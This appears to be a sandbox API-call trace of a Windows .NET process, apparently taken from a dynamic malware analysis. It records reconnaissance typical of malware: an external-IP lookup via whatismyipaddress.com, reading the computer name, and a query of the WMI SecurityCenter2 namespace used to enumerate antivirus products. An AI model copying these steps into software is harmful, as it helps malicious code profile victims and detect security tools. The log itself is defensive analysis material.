	[0080.624] RegOpenKeyExW (in: hKey=0x3bc, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x3fe814 | out: phkResult=0x3fe814*=0x3c0) returned 0x0
	[0080.624] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3c4
	[0080.624] RegNotifyChangeKeyValue (hKey=0x3c0, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x3c4, fAsynchronous=1) returned 0x0
	[0080.625] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x3fe818 | out: phkResult=0x3fe818*=0x3c8) returned 0x0
	[0080.625] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3cc
	[0080.625] RegNotifyChangeKeyValue (hKey=0x3c8, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x3cc, fAsynchronous=1) returned 0x0
	[0080.625] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x3fe818 | out: phkResult=0x3fe818*=0x3d0) returned 0x0
	[0080.625] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3d4
	[0080.625] RegNotifyChangeKeyValue (hKey=0x3d0, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x3d4, fAsynchronous=1) returned 0x0
	[0080.625] GetCurrentProcess () returned 0xffffffff
	[0080.625] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3fe80c | out: TokenHandle=0x3fe80c*=0x3d8) returned 1
	[0080.626] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x3fe118 | out: phkResult=0x3fe118*=0x3dc) returned 0x0
	[0080.626] RegQueryValueExW (in: hKey=0x3dc, lpValueName="LegacyWPADSupport", lpReserved=0x0, lpType=0x3fe134, lpData=0x0, lpcbData=0x3fe130*=0x0 | out: lpType=0x3fe134*=0x0, lpData=0x0, lpcbData=0x3fe130*=0x0) returned 0x2
	[0080.626] RegCloseKey (hKey=0x3dc) returned 0x0
	[0080.841] WinHttpOpen (pszAgentW=0x0, dwAccessType=0x1, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x6ad9f0
	[0080.889] WinHttpSetTimeouts (hInternet=0x6ad9f0, nResolveTimeout=60000, nConnectTimeout=60000, nSendTimeout=60000, nReceiveTimeout=60000) returned 1
	[0080.889] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x3fe818 | out: pProxyConfig=0x3fe818) returned 1
	[0080.920] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_Disabled", lpBuffer=0x3fe090, nSize=0x80 | out: lpBuffer="\xbb9c\x7235\xe154\x3f\x32c4\x73a1\xffff\xffff\xe0cc\x3f\xb954\x735e\x7910\x7234\x2aec\x726a\x75bd\x734c\x2aaa\xb98d\x7910\x7234\x2aec\x726a\x02") returned 0x0
	[0080.920] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_MinCount", lpBuffer=0x3fe090, nSize=0x80 | out: lpBuffer="\xbb9c\x7235\xe154\x3f\x32c4\x73a1\xffff\xffff\xe0cc\x3f\xb954\x735e\x7910\x7234\x2aec\x726a\x75bd\x734c\x2aaa\xb98d\x7910\x7234\x2aec\x726a\x02") returned 0x0
	[0080.922] EtwEventRegister () returned 0x0
	[0081.060] GetCurrentProcess () returned 0xffffffff
	[0081.061] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3fe4e4 | out: TokenHandle=0x3fe4e4*=0x41c) returned 1
	[0081.065] GetCurrentProcess () returned 0xffffffff
	[0081.065] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3fe4f4 | out: TokenHandle=0x3fe4f4*=0x424) returned 1
	[0081.075] SetEvent (hEvent=0x348) returned 1
	[0081.084] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3fe764*=0x3a4, lpdwindex=0x3fe584 | out: lpdwindex=0x3fe584) returned 0x80010115
	[0081.099] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3fe744*=0x398, lpdwindex=0x3fe564 | out: lpdwindex=0x3fe564) returned 0x80010115
	[0081.099] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3fe744*=0x3a0, lpdwindex=0x3fe564 | out: lpdwindex=0x3fe564) returned 0x80010115
	[0081.099] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3fe798*=0x3c4, lpdwindex=0x3fe5b4 | out: lpdwindex=0x3fe5b4) returned 0x80010115
	[0081.099] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3fe798*=0x3cc, lpdwindex=0x3fe5b4 | out: lpdwindex=0x3fe5b4) returned 0x80010115
	[0081.100] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3fe798*=0x3d4, lpdwindex=0x3fe5b4 | out: lpdwindex=0x3fe5b4) returned 0x80010115
	[0081.103] GetCurrentProcess () returned 0xffffffff
	[0081.103] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3fe43c | out: TokenHandle=0x3fe43c*=0x460) returned 1
	[0081.103] GetCurrentProcess () returned 0xffffffff
	[0081.103] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3fe44c | out: TokenHandle=0x3fe44c*=0x464) returned 1
	[0081.104] GetTimeZoneInformation (in: lpTimeZoneInformation=0x3fe64c | out: lpTimeZoneInformation=0x3fe64c) returned 0x0
	[0081.114] SetEvent (hEvent=0x348) returned 1
	[0081.115] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x3fe7a8 | out: pFixedInfo=0x0, pOutBufLen=0x3fe7a8) returned 0x6f
	[0081.124] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x717840
	[0081.125] GetNetworkParams (in: pFixedInfo=0x717840, pOutBufLen=0x3fe7a8 | out: pFixedInfo=0x717840, pOutBufLen=0x3fe7a8) returned 0x0
	[0081.132] LocalFree (hMem=0x717840) returned 0x0
	[0081.133] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_Disabled", lpBuffer=0x3fdfac, nSize=0x80 | out: lpBuffer="\xa442\x735e") returned 0x0
	[0081.133] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_MinCount", lpBuffer=0x3fdfac, nSize=0x80 | out: lpBuffer="\xa442\x735e") returned 0x0
	[0081.134] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x468
	[0081.135] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x46c
	[0081.135] GetAddrInfoW (in: pNodeName="whatismyipaddress.com", pServiceName=0x0, pHints=0x3fe698*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x3fe640 | out: ppResult=0x3fe640*=0x541f0f0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="whatismyipaddress.com", ai_addr=0x540fc28*(sa_family=2, sin_port=0x0, sin_addr="104.16.17.96"), ai_next=0x541f190*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5423de8*(sa_family=2, sin_port=0x0, sin_addr="104.16.20.96"), ai_next=0x541f1b8*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5423e00*(sa_family=2, sin_port=0x0, sin_addr="104.16.18.96"), ai_next=0x541f1e0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5423e18*(sa_family=2, sin_port=0x0, sin_addr="104.16.19.96"), ai_next=0x541f208*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5423e30*(sa_family=2, sin_port=0x0, sin_addr="104.16.16.96"), ai_next=0x0)))))) returned 0
	[0081.137] FreeAddrInfoW (pAddrInfo=0x541f0f0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="whatismyipaddress.com", ai_addr=0x540fc28*(sa_family=2, sin_port=0x0, sin_addr="104.16.17.96"), ai_next=0x541f190*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5423de8*(sa_family=2, sin_port=0x0, sin_addr="104.16.20.96"), ai_next=0x541f1b8*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5423e00*(sa_family=2, sin_port=0x0, sin_addr="104.16.18.96"), ai_next=0x541f1e0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5423e18*(sa_family=2, sin_port=0x0, sin_addr="104.16.19.96"), ai_next=0x541f208*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5423e30*(sa_family=2, sin_port=0x0, sin_addr="104.16.16.96"), ai_next=0x0)))))) 
	[0081.155] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x444
	[0081.155] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x474
	[0081.155] ioctlsocket (in: s=0x444, cmd=-2147195266, argp=0x3fe670 | out: argp=0x3fe670) returned 0
	[0081.155] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x478
	[0081.155] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x47c
	[0081.155] ioctlsocket (in: s=0x478, cmd=-2147195266, argp=0x3fe670 | out: argp=0x3fe670) returned 0
	[0081.155] WSAIoctl (in: s=0x444, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x3fe658, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x3fe658, lpOverlapped=0x0) returned -1
	[0081.155] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x3fe388, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
	[0081.155] WSAEventSelect (s=0x444, hEventObject=0x474, lNetworkEvents=512) returned 0
	[0081.155] WSAIoctl (in: s=0x478, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x3fe658, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x3fe658, lpOverlapped=0x0) returned -1
	[0081.155] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x3fe388, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
	[0081.155] WSAEventSelect (s=0x478, hEventObject=0x47c, lNetworkEvents=512) returned 0
	[0081.155] GetAdaptersAddresses () returned 0x6f
	[0081.159] LocalAlloc (uFlags=0x0, uBytes=0xa54) returned 0x70f438
	[0081.159] GetAdaptersAddresses () returned 0x0
	[0081.163] LocalFree (hMem=0x70f438) returned 0x0
	[0081.164] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x3fe668 | out: phkResult=0x3fe668*=0x480) returned 0x0
	[0081.164] RegQueryValueExW (in: hKey=0x480, lpValueName="HWRPortReuseOnSocketBind", lpReserved=0x0, lpType=0x3fe684, lpData=0x0, lpcbData=0x3fe680*=0x0 | out: lpType=0x3fe684*=0x0, lpData=0x0, lpcbData=0x3fe680*=0x0) returned 0x2
	[0081.164] RegCloseKey (hKey=0x480) returned 0x0
	[0081.164] WSAConnect (in: s=0x468, name=0x248581c*(sa_family=2, sin_port=0x50, sin_addr="104.16.17.96"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0
	[0081.183] closesocket (s=0x46c) returned 0
	[0081.186] send (in: s=0x468, buf=0x2486358*, len=71, flags=0 | out: buf=0x2486358*) returned 71
	[0081.187] setsockopt (s=0x468, level=65535, optname=4102, optval="\xa0\x86\x01", optlen=4) returned 0
	[0081.187] recv (in: s=0x468, buf=0x2481758, len=4096, flags=0 | out: buf=0x2481758*) returned 564
	[0081.283] setsockopt (s=0x468, level=65535, optname=4102, optval="\xe0\x93\x04", optlen=4) returned 0
	[0081.289] SetEvent (hEvent=0x348) returned 1
	[0081.638] GetComputerNameW (in: lpBuffer=0x3fe758, nSize=0x3fe9d0 | out: lpBuffer="YKYD69Q", nSize=0x3fe9d0) returned 1
	[0081.641] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x46c
	[0081.641] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x480
	[0081.644] SetEvent (hEvent=0x480) returned 1
	[0081.645] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3fe908*=0x46c, lpdwindex=0x3fe724 | out: lpdwindex=0x3fe724) returned 0x0
	[0081.873] CoGetContextToken (in: pToken=0x3fe7d8 | out: pToken=0x3fe7d8) returned 0x0
	[0081.873] CoGetContextToken (in: pToken=0x3fe738 | out: pToken=0x3fe738) returned 0x0
	[0081.873] WbemDefPath:IUnknown:QueryInterface (in: This=0x69b0820, riid=0x3fe808*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3fe804 | out: ppvObject=0x3fe804*=0x69b0820) returned 0x0
	[0081.873] WbemDefPath:IUnknown:AddRef (This=0x69b0820) returned 0x3
	[0081.873] WbemDefPath:IUnknown:Release (This=0x69b0820) returned 0x2
	[0081.882] WbemDefPath:IWbemPath:SetText (This=0x69b0820, uMode=0x4, pszPath="\\\\YKYD69Q\\root\\SecurityCenter2") returned 0x0
	[0081.883] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69b0820, puCount=0x3fe984 | out: puCount=0x3fe984*=0x2) returned 0x0
	[0081.883] WbemDefPath:IWbemPath:GetText (in: This=0x69b0820, lFlags=4, puBuffLength=0x3fe980*=0x0, pszText=0x0 | out: puBuffLength=0x3fe980*=0x1f, pszText=0x0) returned 0x0
	[0081.883] WbemDefPath:IWbemPath:GetText (in: This=0x69b0820, lFlags=4, puBuffLength=0x3fe980*=0x1f, pszText="000000000000000000000000000000" | out: puBuffLength=0x3fe980*=0x1f, pszText="\\\\YKYD69Q\\root\\SecurityCenter2") returned 0x0
	[0081.883] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69b0820, puCount=0x3fe970 | out: puCount=0x3fe970*=0x2) returned 0x0
	[0081.883] WbemDefPath:IWbemPath:GetText (in: This=0x69b0820, lFlags=4, puBuffLength=0x3fe96c*=0x0, pszText=0x0 | out: puBuffLength=0x3fe96c*=0x1f, pszText=0x0) returned 0x0
	[0081.883] WbemDefPath:IWbemPath:GetText (in: This=0x69b0820, lFlags=4, puBuffLength=0x3fe96c*=0x1f, pszText="000000000000000000000000000000" | out: puBuffLength=0x3fe96c*=0x1f, pszText="\\\\YKYD69Q\\root\\SecurityCenter2") returned 0x0
	[0081.891] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3fe824*=0x4d0, lpdwindex=0x3fe6d4 | out: lpdwindex=0x3fe6d4) returned 0x0
	[0082.671] CoGetContextToken (in: pToken=0x3fe5e0 | out: pToken=0x3fe5e0) returned 0x0
	[0082.671] CoGetContextToken (in: pToken=0x3fe588 | out: pToken=0x3fe588) returned 0x0
	[0082.671] IUnknown:QueryInterface (in: This=0x69a158, riid=0x73553c98*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe568 | out: ppvObject=0x3fe568*=0x69a168) returned 0x0
	[0082.672] CObjectContext::ContextCallback () returned 0x0
	[0082.673] BeginPaint (in: hWnd=0x10210, lpPaint=0x3fd824 | out: lpPaint=0x3fd824) returned 0x3b0107e5
	[0082.673] GdipCreateHalftonePalette () returned 0x4d0808dd
	[0082.673] SelectPalette (hdc=0x3b0107e5, hPal=0x4d0808dd, bForceBkgd=1) returned 0x188000b
	[0082.674] GetWindowTextLengthW (hWnd=0x10210) returned 0
	[0082.674] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0
	[0082.674] GetSystemMetrics (nIndex=42) returned 0
	[0082.674] GetWindowTextW (in: hWnd=0x10210, lpString=0x3fd7c8, nMaxCount=1 | out: lpString="") returned 0
	[0082.674] CallWindowProcW (lpPrevWndFunc=0x776625dd, hWnd=0x10210, Msg=0xd, wParam=0x1, lParam=0x3fd7c8) returned 0x0
	[0082.674] SelectPalette (hdc=0x3b0107e5, hPal=0x188000b, bForceBkgd=0) returned 0x4d0808dd
	[0082.674] EndPaint (hWnd=0x10210, lpPaint=0x3fd820) returned 1
	[0082.677] IUnknown:Release (This=0x69a168) returned 0x1
	[0082.677] CoUnmarshalInterface (in: pStm=0x718368, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3fe5d0 | out: ppv=0x3fe5d0*=0x71a82c) returned 0x0
	[0082.677] CoMarshalInterface (pStm=0x718368, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x71a82c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0
	[0082.677] IUnknown:QueryInterface (in: This=0x71a82c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe474 | out: ppvObject=0x3fe474*=0x71a82c) returned 0x0
	[0082.677] IUnknown:QueryInterface (in: This=0x71a82c, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x3fe430 | out: ppvObject=0x3fe430*=0x0) returned 0x80004002
	[0082.677] IUnknown:QueryInterface (in: This=0x71a82c, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3fe24c | out: ppvObject=0x3fe24c*=0x0) returned 0x80004002
	[0082.678] IUnknown:AddRef (This=0x71a82c) returned 0x3
	[0082.678] IUnknown:QueryInterface (in: This=0x71a82c, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x3fdd8c | out: ppvObject=0x3fdd8c*=0x0) returned 0x80004002
	[0082.678] IUnknown:QueryInterface (in: This=0x71a82c, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x3fdd3c | out: ppvObject=0x3fdd3c*=0x0) returned 0x80004002
	[0082.678] IUnknown:QueryInterface (in: This=0x71a82c, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fdd48 | out: ppvObject=0x3fdd48*=0x71a78c) returned 0x0
	[0082.678] IMarshal:GetUnmarshalClass (in: This=0x71a78c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x3fdd50 | out: pCid=0x3fdd50*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0082.678] IUnknown:Release (This=0x71a78c) returned 0x3
	[0082.678] CoGetContextToken (in: pToken=0x3fdda8 | out: pToken=0x3fdda8) returned 0x0
	[0082.678] IUnknown:QueryInterface (in: This=0x699fe8, riid=0x735fd8c4*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fdd6c | out: ppvObject=0x3fdd6c*=0x699ff4) returned 0x0
	[0082.678] IComThreadingInfo:GetCurrentApartmentType (in: This=0x699ff4, pAptType=0x3fddb0 | out: pAptType=0x3fddb0*=3) returned 0x0
	[0082.678] IUnknown:Release (This=0x699ff4) returned 0x0
	[0082.678] CoGetObjectContext (in: riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x71af5c | out: ppv=0x71af5c*=0x699fe8) returned 0x0
	[0082.679] CoGetContextToken (in: pToken=0x3fe1b0 | out: pToken=0x3fe1b0) returned 0x0
	[0082.679] IUnknown:QueryInterface (in: This=0x71a82c, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe240 | out: ppvObject=0x3fe240*=0x71a814) returned 0x0
	[0082.679] IRpcOptions:Query (in: This=0x71a814, pPrx=0x71a82c, dwProperty=2, pdwValue=0x3fe268 | out: pdwValue=0x3fe268) returned 0x0
	[0082.679] IUnknown:Release (This=0x71a814) returned 0x3
	[0082.679] IUnknown:Release (This=0x71a82c) returned 0x2
	[0082.679] IUnknown:Release (This=0x71a82c) returned 0x1
	[0082.679] CoGetContextToken (in: pToken=0x3fe520 | out: pToken=0x3fe520) returned 0x0
	[0082.679] IUnknown:AddRef (This=0x71a82c) returned 0x2
	[0082.680] IUnknown:QueryInterface (in: This=0x71a82c, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe7dc | out: ppvObject=0x3fe7dc*=0x71a80c) returned 0x0
	[0082.680] IClientSecurity:QueryBlanket (in: This=0x71a80c, pProxy=0x71a82c, pAuthnSvc=0x3fe82c, pAuthzSvc=0x3fe828, pServerPrincName=0x3fe820, pAuthnLevel=0x3fe824, pImpLevel=0x3fe814, pAuthInfo=0x3fe818, pCapabilites=0x3fe81c | out: pAuthnSvc=0x3fe82c*=0xa, pAuthzSvc=0x3fe828*=0x0, pServerPrincName=0x3fe820, pAuthnLevel=0x3fe824*=0x6, pImpLevel=0x3fe814*=0x2, pAuthInfo=0x3fe818, pCapabilites=0x3fe81c*=0x1) returned 0x0
	[0082.680] IUnknown:Release (This=0x71a80c) returned 0x2
	[0082.680] IUnknown:QueryInterface (in: This=0x71a82c, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe7d0 | out: ppvObject=0x3fe7d0*=0x71a82c) returned 0x0
	[0082.680] IUnknown:QueryInterface (in: This=0x71a82c, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe7cc | out: ppvObject=0x3fe7cc*=0x71a80c) returned 0x0
	[0082.680] IClientSecurity:SetBlanket (This=0x71a80c, pProxy=0x71a82c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0082.680] IUnknown:Release (This=0x71a80c) returned 0x3
	[0082.680] IUnknown:Release (This=0x71a82c) returned 0x2
	[0082.680] CoTaskMemFree (pv=0x5420298) 
	[0082.680] IUnknown:Release (This=0x71a82c) returned 0x1
	[0082.680] SysStringLen (param_1=0x0) returned 0x0
	[0082.680] CoGetContextToken (in: pToken=0x3fe798 | out: pToken=0x3fe798) returned 0x0
	[0082.680] CoGetContextToken (in: pToken=0x3fe6f8 | out: pToken=0x3fe6f8) returned 0x0
	[0082.680] IUnknown:QueryInterface (in: This=0x71a82c, riid=0x3fe7c8*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x3fe7c4 | out: ppvObject=0x3fe7c4*=0x69bc92c) returned 0x0
	[0082.681] IUnknown:AddRef (This=0x69bc92c) returned 0x3
	[0082.681] IUnknown:Release (This=0x69bc92c) returned 0x2
	[0082.681] CoGetContextToken (in: pToken=0x3fe758 | out: pToken=0x3fe758) returned 0x0
	[0082.681] IUnknown:AddRef (This=0x69bc92c) returned 0x3
	[0082.681] IUnknown:QueryInterface (in: This=0x69bc92c, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe7dc | out: ppvObject=0x3fe7dc*=0x71a80c) returned 0x0
	[0082.681] IClientSecurity:QueryBlanket (in: This=0x71a80c, pProxy=0x69bc92c, pAuthnSvc=0x3fe82c, pAuthzSvc=0x3fe828, pServerPrincName=0x3fe820, pAuthnLevel=0x3fe824, pImpLevel=0x3fe814, pAuthInfo=0x3fe818, pCapabilites=0x3fe81c | out: pAuthnSvc=0x3fe82c*=0xa, pAuthzSvc=0x3fe828*=0x0, pServerPrincName=0x3fe820, pAuthnLevel=0x3fe824*=0x6, pImpLevel=0x3fe814*=0x2, pAuthInfo=0x3fe818, pCapabilites=0x3fe81c*=0x1) returned 0x0
	[0082.681] IUnknown:Release (This=0x71a80c) returned 0x3
	[0082.681] IUnknown:QueryInterface (in: This=0x69bc92c, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe7d0 | out: ppvObject=0x3fe7d0*=0x71a82c) returned 0x0
	[0082.681] IUnknown:QueryInterface (in: This=0x69bc92c, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe7cc | out: ppvObject=0x3fe7cc*=0x71a80c) returned 0x0
